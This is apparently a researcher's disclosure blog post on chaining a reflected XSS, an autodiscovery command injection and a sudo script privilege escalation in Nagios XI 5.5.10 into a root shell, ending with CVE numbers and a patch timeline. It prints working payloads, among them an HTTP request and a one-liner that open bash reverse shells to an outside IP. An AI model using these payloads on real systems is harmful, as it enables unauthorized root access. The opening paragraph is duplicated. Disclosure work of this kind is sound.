VULHUB ™

Tl;dr A remote attacker could trick an authenticated victim (with “autodiscovery job” creation privileges) to visit a malicious URL and obtain a remote root shell via a reflected Cross-Site Scripting (XSS), an authenticated Remote Code Execution (RCE) and a Local Privilege Escalation (LPE). Introduction A few months ago I read about some Nagios XI vulnerabilities which got me interested in studying it a bit by myself. For those of you who don’t know what Nagios XI is I suggest you have a look at their website. Fortunately, around that same time the team I am part of in Shielder chose to start spending one week each month to research or 0day discovery projects. These vulnerabilities are part of the ones I have found during that week, you can read about all of them at the security disclosures page. My target was to find an unauthenticated remote code execution with zero interaction needed, which I couldn’t find in that time span, maybe I’ll have a second look sometime in the future...

Tl;dr A remote attacker could trick an authenticated victim (with “autodiscovery job” creation privileges) to visit a malicious URL and obtain a remote root shell via a reflected Cross-Site Scripting (XSS), an authenticated Remote Code Execution (RCE) and a Local Privilege Escalation (LPE). Introduction A few months ago I read about some Nagios XI vulnerabilities which got me interested in studying it a bit by myself. For those of you who don’t know what Nagios XI is I suggest you have a look at their website. Fortunately, around that same time the team I am part of in Shielder chose to start spending one week each month to research or 0day discovery projects. These vulnerabilities are part of the ones I have found during that week, you can read about all of them at the security disclosures page. My target was to find an unauthenticated remote code execution with zero interaction needed, which I couldn’t find in that time span, maybe I’ll have a second look sometime in the future Disclaimers these vulnerabilities were found during [18-22]/02/2019, this blogpost is based on my notes and memory – if you find anything inaccurate leave a comment and I’ll correct it filepaths and line numbers reported here are related to version 5.5.10, they might have changed since then comments in the code reported here have been written by me I haven’t checked the patches for these vulnerabilities I haven’t investigated which release(s) introduced these vulnerabilities Table of contents 0. first look at the source code 1. XSS to RCE 2. $ to # 3. one cl1ck one r00t 4. final notes 0.first look at the source code Nagios offers quite a few options in order to try Nagios XI, with a 60 days trial which allows you to understand the architecture and try all the functionalities. During my test I used the OVA provided, however I suppose that’s a standard installation and the other options are the same. By reading the code used on the web interface we can see a lot of files are not obfuscated and seemingly even commented. The first vulnerability I’ve found is a reflected XSS through an iframe tag creation, which is in nagiosxi/basedir/html/includes/pageparts.inc.php at line 552, function get_window_frame_url(): ``` $xiwindow = grab_request_var("xiwindow", ""); // this reads the GET/POST parameters, the second arg is the fallback value if ($xiwindow != "") { $rawurl = urldecode($xiwindow); } [...] $a = parse_url($rawurl); if (isset($a["host"])) { [...] } else { $windowurl = $a["path"] . "?"; } [...] return encode_form_valq($windowurl); ``` Since parse_url() can be tricked into parsing a malicious URL via the xiwindow parameter, we can inject any URL in the resulting iframe src attribute: ``` $ php -r 'var_dump(parse_url("a:javascript:alert(1)//"));' array(2) { ["scheme"]=> string(1) "a" ["path"]=> string(21) "javascript:alert(1)//" } ``` PoC http://nagiosxi.local/nagiosxi/about/index.php?xiwindow=a:javascript:alert(1)// XSS to RCE Now that we have the privileges of an authenticated user we can start looking at the authenticated pages. As the documentation suggests autodiscovery jobs allow a user to setup a scheduled scan of a specific subnet, along with many other options. That functionality resides in nagiosxi/basedir/html/includes/components/autodiscovery/autodiscovery.inc.php, at line 191 there’s an interesting function called autodiscovery_component_get_cmdline: ``` function autodiscovery_component_get_cmdline($jobid) { [...] $system_dns = grab_array_var($jarr, "system_dns", "off"); // <- this comes from the user [...] if ($system_dns == "on") { $system_dns = "--system-dns=1"; } [...] $cmd = "rm -f " . $xml_file . "; touch " . $watch_file . "; sudo /usr/bin/php " . $script_dir . "autodiscover_new.php --addresses=\"" . escapeshellcmd($address) . "\" --exclude=\"" . escapeshellcmd($exclude_address) . "\" --output=" . $xml_file . " --watch=" . $watch_file . " --onlynew=0 --debug=1 " . $osd . " " . $topod . " " . $scan_delay . " " . $system_dns . " > " . $out_file . " 2>&1 & echo $!"; return $cmd; } ``` I know, this code looks super-vulnerable™, but if you analyze it most of the time the inputs are sanitized at different steps (many times using escapeshellcmd instead of escapeshellarg) and the exploitability level is lower than it seems. As you can see the system_dns parameter ends up in the command line string which is going to be executed. The other variables which end in the string are sanitized, not under user-control or called differently than the user-supplied ones so this “trick” doesn’t work. ``` POST /nagiosxi/includes/components/autodiscovery/?mode=newjob HTTP/1.1 Host: nagiosxi.local Content-Type: application/x-www-form-urlencoded Content-Length: 310 Connection: close Cookie: nagiosxi=8rspko6npt4lkfqcvo9u5i70b2 update=1&job=-1&nsp=d333dca41f296fae9327eecdce86332176ed6bfc82c352e3276751ecedd6f172&address=192.168.1&exclude_address=&frequency=Once&hour=09&minute=00&ampm=AM&dayofweek=1&dayofmonth=1&os_detection=on&scandelay=&system_dns=%3bbash+-i+>%26+/dev/tcp/192.168.13.37/31337+0>%261%3b&topology_detection=&updateButton= ``` Now we have command execution as apache:nagios. $ to # It is possible to escalate our privileges to root by exploiting the script /usr/local/nagiosxi/scripts/repair_databases.sh which is runnable as root by our user without password, as sudo -l states. Reading that script we find on line 12: ``` [...] BASEDIR=$(dirname $(readlink -f $0)) # /usr/local/nagiosxi/scripts [...] eval $(php $BASEDIR/import_xiconfig.php) # wow, this looks dangerous [...] ``` For those of you not familiar with PHP, all require_once does is interpret the source code of another file during the interpretation of the current file. It is useful in modular and object-oriented projects. Checking the permissions on such file confirms we do have read/write privileges: We can poison it in order to inject arbitrary commands during the repair_databases.sh script execution and obtain root privileges. poc ``` $ echo 'print("bash -i >& /dev/tcp/192.168.13.37/31337 0>&1;");' >> '/usr/local/nagiosxi/html/config/config.inc.php' && sudo /usr/local/nagiosxi/scripts/repair_databases.sh ``` One cl1ck one r00t These vulnerabilities can be chained together in order to craft a malicious URL which when visited by a victim (authenticated in Nagios XI and with the ‘autodiscover job’ privileges) is going to trigger our vulnerabilities and provide us with a remote root shell. PoC creation is left as exercise for the reader Final notes As I said earlier, by looking at the source code the security bugs seems to be patched on single vulnerabilities basis instead of implementing a safe way or guidelines to do common actions (such as executing CLI commands). However, that’s just a feeling I got by reading about the historical security bugs and the source code itself, the reality might be different. Besides that, the communication with the developers was really smooth and they released a patch quickly. Timeline 20/02: —> 20/02 1st report sent <— ACK 25/02: —> 25/02 2nd report sent <— ACK Released Nagios IM 2.2.7 with fixes for 2nd report 27/02: MITRE assigned CVEs 1st report: CVE-2019-9164 –> Remote code execution via new autodiscovery job CVE-2019-9165 –> SQL Injection via API and malicious user id CVE-2019-9166 –> Privilege escalation apache:nagios -> root CVE-2019-9167 –> XSS in iframe creation 2nd report: CVE-2019-9202 –> Remote code execution in Nagios IM CVE-2019-9203 –> Authorization bypass in Nagios IM CVE-2019-9204 –> SQL Injection in Nagios IM 28/02: Released Nagios XI 5.5.11 with fixes for 1st report 10/04: Public release